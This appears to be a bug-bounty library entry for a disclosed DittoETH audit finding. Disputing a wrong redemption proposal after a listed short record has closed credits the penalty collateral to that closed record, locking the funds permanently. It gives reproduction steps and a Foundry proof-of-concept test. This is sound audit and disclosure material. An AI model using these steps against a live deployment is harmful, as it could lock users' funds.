# Closing a SR during a wrong redemption proposal leads to loss of funds

Disputing a wrong redemption proposal after a listed short record was closed credits the penalty collateral to the closed SR, permanently locking funds.

- Payout: Audit contest
- Severity: high
- Program: DittoETH
- Found by: Cosine
- Disclosed: 2024-06-25
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-03-dittoeth-findings/issues/35
- Library page: https://bugbountylibrary.com/r/c4%3A2024-03-dittoeth%3AH-06
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:solidity technique:race-window technique:source-review vuln:business-logic

**Target:** DittoETH RedemptionFacet disputeRedemption / ShortRecord accounting
**Root cause:** disputeRedemption adds the proposer's penalty collateral to the disputed short record without checking whether that SR is already Closed; closed SRs cannot be reopened or withdrawn from, so the collateral is stranded.
**Steps:**
1. Setup shorts with ascending CRs via `makeShorts`; note SR ids SHORT_STARTING_ID, +1, +2.
2. Attacker/redeemer calls `proposeRedemption(asset, proposalInputs, DEFAULT_AMOUNT*3/2, MAX_REDEMPTION_FEE)` omitting the lowest-CR SR (SHORT_STARTING_ID), producing an incorrect proposal.
3. Before dispute, close one of the listed SRs (e.g. `exitShort(SHORT_STARTING_ID+2, ...)` after funding a limit ask) so its status becomes `SR.Closed`.
4. Disputer calls `disputeRedemption({asset, redeemer, incorrectIndex:0, disputeShorter: sender, disputeShortId: SHORT_STARTING_ID})`.
5. Observe the closed SR's `collateral` increased by the penalty while `status` remains `Closed` — funds unrecoverable.
**How found:** Reasoning about the dispute flow: disputeRedemption credits a penalty to the disputed SR, and the author hypothesized that if that SR's status changed to Closed between proposal and dispute, the credit would land on an unrecoverable record — confirmed with a Foundry PoC asserting collateral increased on a Closed SR.
**Exploitation:** A proposer submits a redemption proposal that omits the lowest-CR SR. A listed SR is closed (via exit/liquidation/transfer) before anyone disputes. When a disputer proves the omission, the penalty fee is credited to the now-closed SR's collateral field, which has no withdrawal path, permanently locking the funds.
**Insight:** In state-machine contracts, audit every function that mutates a record's balance/credit against the record's lifecycle status; a credit path that doesn't gate on `status == Active` can strand funds when the record is closed concurrently.

## Proof of concept (copied exactly from the original report)

**Foundry test disputing proposal after SR closed**

```
function test_dispute_on_non_existing_sr() public {
    // setup shorts
    makeShorts({singleShorter: true});

    _setETH(1000 ether);
    skip(1 hours);

    STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
    STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
    STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
    uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
    uint256 cr3 = diamond.getCollateralRatio(asset, sr3);

    // CRs are increasing
    assertGt(cr2, cr1);
    assertGt(cr3, cr2);

    // user creates a wrong proposal
    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID + 1, shortId2: C.SHORT_STARTING_ID + 2});

    address redeemer = receiver;
    vm.prank(redeemer);
    diamond.proposeRedemption(asset, proposalInputs, DEFAULT_AMOUNT * 3 / 2, MAX_REDEMPTION_FEE);

    // on of the SRs in the proposal is closed
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, extra);
    exitShort(C.SHORT_STARTING_ID + 2, DEFAULT_AMOUNT / 2, DEFAULT_PRICE, sender);

    // SR is now closed
    sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    assertEq(uint(sr3.status), uint(SR.Closed));

    uint88 collateralBefore = sr3.collateral;

    // another user disputes the wrong proposal
    address disputer = extra;
    vm.prank(disputer);
    diamond.disputeRedemption({
        asset: asset,
        redeemer: redeemer,
        incorrectIndex: 0,
        disputeShorter: sender,
        disputeShortId: C.SHORT_STARTING_ID
    });

    // SR is still closed and collateral increased
    sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
    assertEq(uint(sr3.status), uint(SR.Closed));
    assertGt(sr3.collateral, collateralBefore);
}
```

